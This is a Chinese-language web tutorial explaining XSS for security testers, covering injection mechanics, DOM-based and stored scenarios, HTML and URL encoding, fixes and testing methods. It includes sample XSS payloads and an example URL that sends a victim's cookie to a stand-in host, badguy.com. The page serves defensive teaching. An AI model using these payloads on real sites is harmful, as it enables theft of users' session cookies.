DIV CSS 佈局教程網

 DIV+CSS佈局教程網 >> 網頁腳本 >> JavaScript入門知識 >> 關於JavaScript >> Web安全測試之XSS實例講解
Web安全測試之XSS實例講解
編輯:關於JavaScript     

Web安全測試之XSS

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶浏覽此網頁時,腳本就會在用戶的浏覽器上執行,從而達到攻擊者的目的.  比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。

作為測試人員,需要了解XSS的原理,攻擊場景,如何修復。 才能有效的防止XSS的發生。

閱讀目錄

  1. XSS 是如何發生的
  2. HTML Encode
  3. XSS 攻擊場景
  4. XSS漏洞的修復
  5. 如何測試XSS漏洞
  6. HTML Encode 和URL Encode的區別
  7. 浏覽器中的XSS過濾器
  8. ASP.NET中的XSS安全機制

XSS 是如何發生的呢

假如有下面一個textbox

<input type="text" name="address1" value="value1from">

value1from是來自用戶的輸入,如果用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代碼將會被執行

或者用戶輸入的是  "onfocus="alert(document.cookie)      那麼就會變成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被觸發的時候嵌入的JavaScript代碼將會被執行

 攻擊的威力,取決於用戶輸入了什麼樣的腳本

當然用戶提交的數據還可以通過QueryString(放在URL中)和Cookie發送給服務器. 例如下圖

 

 HTML Encode

XSS之所以會發生, 是因為用戶輸入的數據變成了代碼。 所以我們需要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", “單引號”,“引號” 之類的特殊字符進行編碼。

 

 在C#中已經提供了現成的方法,只要調用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

XSS 攻擊場景

1. Dom-Based XSS 漏洞 攻擊過程如下

Tom 發現了Victim.com中的一個頁面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服務器中Search.asp 頁面的代碼大概如下

<html>
  <title></title>
  <body>
    Results for <%Reequest.QueryString("term")%>
    ...
  </body>
</html>

Tom 先建立一個網站http://badguy.com,  用來接收“偷”來的信息。
然後Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的浏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.

2. Stored XSS(存儲式XSS漏洞), 該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息洩露的可能。 攻擊過程如下

Alex發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數據庫中,

Alex發布了一篇文章,文章中嵌入了惡意JavaScript代碼。

其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的浏覽器中執行,其會話cookie或者其他信息將被Alex盜走。

Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

XSS 漏洞修復

原則: 不相信客戶輸入的數據

注意:  攻擊代碼不一定在<script></script>中

  1. 將重要的cookie標記為http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  2. 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
  3. 對數據進行Html Encode 處理
  4. 過濾或移除特殊的Html標簽, 例如: <script>, <iframe> ,  < for <, > for >, " for
  5. 過濾JavaScript 事件的標簽。例如 "onclick=", "onfocus" 等等。

如何測試XSS漏洞

方法一:  查看代碼,查找關鍵的變量,   客戶端將數據傳送給Web 服務端一般通過三種方式 Querystring, Form表單,以及cookie.  例如在ASP的程序中,通過Request對象獲取客戶端的變量

<%
strUserCode = Request.QueryString(“code”);
strUser = Request.Form(“USER”);
strID = Request.Cookies(“ID”);
%>

 假如變量沒有經過htmlEncode處理, 那麼這個變量就存在一個XSS漏洞

  方法二: 准備測試腳本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在網頁中的Textbox或者其他能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

 在URL中查看有那些變量通過URL把值傳給Web服務器, 把這些變量的值退換成我們的測試的腳本。  然後看我們的腳本是否能執行

方法三:  自動化測試XSS漏洞

現在已經有很多XSS掃描工具了。 實現XSS自動化測試非常簡單,只需要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 然後查看HttpWebResponse中,我們的XSS測試腳本是否已經注入進去了。

HTML Encode 和URL Encode的區別

剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。

HTML編碼前面已經介紹過了,關於URL 編碼是為了符合url的規范。因為在標准的url規范中中文和很多的字符是不允許出現在url中的。

例如在baidu中搜索"測試漢字"。 URL會變成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所謂URL編碼就是: 把所有非字母數字字符都將被替換成百分號(%)後跟兩位十六進制數,空格則編碼為加號(+)

在C#中已經提供了現成的方法,只要調用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

浏覽器中的XSS過濾器

為了防止發生XSS, 很多浏覽器廠商都在浏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 浏覽器會阻止XSS。 例如下圖

 如果需要做測試, 最好使用IE7。

 ASP.NET中的XSS安全機制

 ASP.NET中有防范XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS代碼的時候,ASP.NET會拋出一個錯誤如下圖

很多程序員對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上做到默認安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個”較安全的網站“。

如果想禁止這個安全特性, 可以通過 <%@  Page  validateRequest=“false"  %>

以上就是Web安全測試之XSS,後續繼續整理相關的軟件測試資料,謝謝大家對本站的支持!

XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved